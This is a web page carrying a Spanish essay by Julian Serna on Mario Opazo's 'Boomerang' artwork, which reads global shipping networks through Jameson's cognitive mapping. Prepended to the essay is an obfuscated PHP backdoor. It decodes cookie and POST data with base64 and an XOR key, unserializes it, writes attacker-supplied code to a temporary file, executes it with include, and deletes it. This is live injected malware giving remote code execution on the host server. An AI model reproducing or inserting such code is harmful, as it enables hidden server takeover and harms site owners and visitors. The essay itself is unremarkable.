$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> La vuela al mundo. Proyecto Boomerang de Mario Opazo – www.interferencechannel.com

La vuela al mundo. Proyecto Boomerang de Mario Opazo

Una forma de narrar la experiencia contemporánea del mundo es mirar de cerca cualquier producto de consumo masivo.

Un ejemplo clásico de la nueva geografía que se establecen por medio de los sistemas de producción del capitalismo tardío, es el análisis de cómo se produce y distribuye un par de zapatos. Por decir algo, uno tenis de marca que se venden en Bogotá fueron hechos por una compañía estadounidense, con un diseño italiano, en una fábrica de Vietnam que ensambló con partes provenientes de diversas partes del planeta. Este modelo de producción, conocido por el nombre de post-fordismo, es la forma en la que operan la mayoría empresas multinacionales contemporáneas da cuenta del nivel de sofisticación al que ha llegado el sistema capitalista. Según explica Milton Friedman, este sistema por medio de un sistema de precios ha logrado coordinar las fuerzas productivas de miles de individuos de diferentes lugares del mundo en un propósito común que se ve todos los días materializados en la elaboración de bienes y servicios.[1]

A diferencia de una industria moderna que estaba orientada a enfocar su trabajo sobre una línea de producción centralizada, para 1970 las grandes industrias se han fragmentado en diversas compañías regadas por todas partes del mundo que trabajan en pequeños segmentos del producto final.  Esta forma de producción, sumada a la sofisticación de las tecnologías de comunicación, ha producido una experiencia espacial que excede las capacidades de un individuo para localizarse ante estas vasta redes que se tejen a lo largo del mundo. Hacia principios de la década de 1990, Frederic Jameson identificó esta dificultad para situarse antes estos flujos de orden global como uno de los principales síntomas de la época postmoderna.[2]  Esta mutación en la noción espacial está organizada bajo el esquema del hipertexto en donde todos los puntos están de alguna manera interconectados entre sí, fenómeno que hace del modelo cartesiano de ubicar un punto en el espacio y tiempo algo que se queda corto para describir las infinitas relaciones que se tejen entre los diferentes secciones de una red descentrada. Es por ello que el crítico literario señala como un imperativo la necesidad de construir una nueva forma de entender estas relaciones espaciales desde una modelo perceptual y cognitivo que logre trazar el mapa  de las relaciones que los individuos entablan con el resto del mundo.

Siguiendo esta línea de pensamiento, el proyecto de generar este trazado de los flujos globales se debería postular como una de las principales prácticas estéticas del capitalismo tardío en donde por medio de las prácticas artísticas se vislumbra el papel del individuo con respecto a la vasta totalidad de flujos que estructuran a la sociedad como un todo. En palabras de Jameson, “la forma política del postmodernismo, si existe alguna, tendrá su vocación en la invención y proyección de un mapa cognitivo global, en una escala tanto social como espacial.” (Jameson, 54). Teniendo en cuenta la necesidad latente de plantear un mapa de las relaciones que conforman lo que llamamos realidad, las prácticas artísticas vienen a cumplir un papel central en cuanto cumplen la función de representar estas redes que muchas veces parecen intangibles.

En Colombia, tal vez una de las obras que más acertadamente se ha logrado describir estos flujos para proveernos con un mapa cognitivo de cómo los artista Bogotanos se relacionan con el resto del mundo ha sido el proyecto Boomerang de Marío Opazo. En donde el artista contrapone dos imágenes como parte de un mismo proceso de pensamiento. Por un lado, se ve el registro de una acción en donde el artista lanza un bloque de mármol una y otra vez contra un muro de contención. Aquí se denota el esfuerzo de un cuerpo que en un gesto de agresión hacia una estructura piramidal preexistente obtiene como único resultado que el bloque de mármol vuelva ligeramente modificado por el impacto a los pies del artista. Mientras que vemos a este individuo repitiendo el gesto arcaico de utilizar la piedra como un tipo de tecnología para arremeter contra las obras de ingeniería que han modificado el paisaje a los propósitos humanos, la otra imagen pone a funcionar todo el sistema de producción del capitalismo tardío. Para ello, Opazo talla la figura de un Boomerang en poliestireno y la envía por Fedex a una dirección inexistente en Australia.[3]  Es así como la transacción monetaria involucrada en el envío del paquete hace que la escultura se inserte en estos sistemas de producción para recorra el mundo de un extremo al otro y al no encontrar a un destinatario se devuelva a manos del artista.

Este recorrido es seguido minuciosamente medio de un número de rastreo que por internet permite saber en todo momento en donde está el paquete, esta información luego es presentada por Opazo como el producto final de la obra a manera de una cartografía. Por medio de esta documentación da cuenta del tamaño de estas redes de distribución y la manera en que al pasar de un centro de reparto al otro se coordina el trabajo de miles de personas para hacer de este recorrido una realidad. Por otro lado, la facilidad con la que acontece este recorrido también señala al hecho que en el capitalismo tardío las fronteras de los estados modernos es algo que principalmente funciona para restringir la migración de personas más no el flujo de los bienes con los cuales el planeta se ve interconectado.

Es así que por medio de la contraposición de estas dos imágenes, en este proyecto Opazo nos brinda un horizonte de nuestra relación individual con el sistema de producción. Por un lado se ve al artista que arremete en contra de una estructura que viene a ser el producto de un esfuerzo comunitario y, como resultado, esta se mantiene impávida mientras que el objeto lanzado adquiere cualidades plásticas. Es como si en un ataque frontal lo único que se modificara es el mismo objeto con el cual se pretende afectar a estas instituciones. Por el otro, el artista inserta su obra dentro de estos sistemas y estructuras de trabajo que involucra un esfuerzo físico significativamente menor de parte del individuo al apoyarse en la multitud de fuerzas productivas propias del sistema, el mismo tiene la posibilidad de lanzar un boomerang con la suficiente fuerza para que recorra el mundo y vuela a sus manos.♦

Julian Serna es colaborador de IC desde 2015.

[1] Friedman, Milton. Capitalism and Freedom. Chicago: Chicago University Press, 1962.

[2] Jameson, Frederic. Postmodernism or, The Cultural Logic of Late Capitalism. Durham: Duke University press. 1991.

[3]Opazo, Mario. 2004- Video Boomerang. En:  https://meopazoc.wordpress.com/2012/12/14/2004_video-boomerang/ Entrada de 14 de diciembre 2012.

Comments are closed.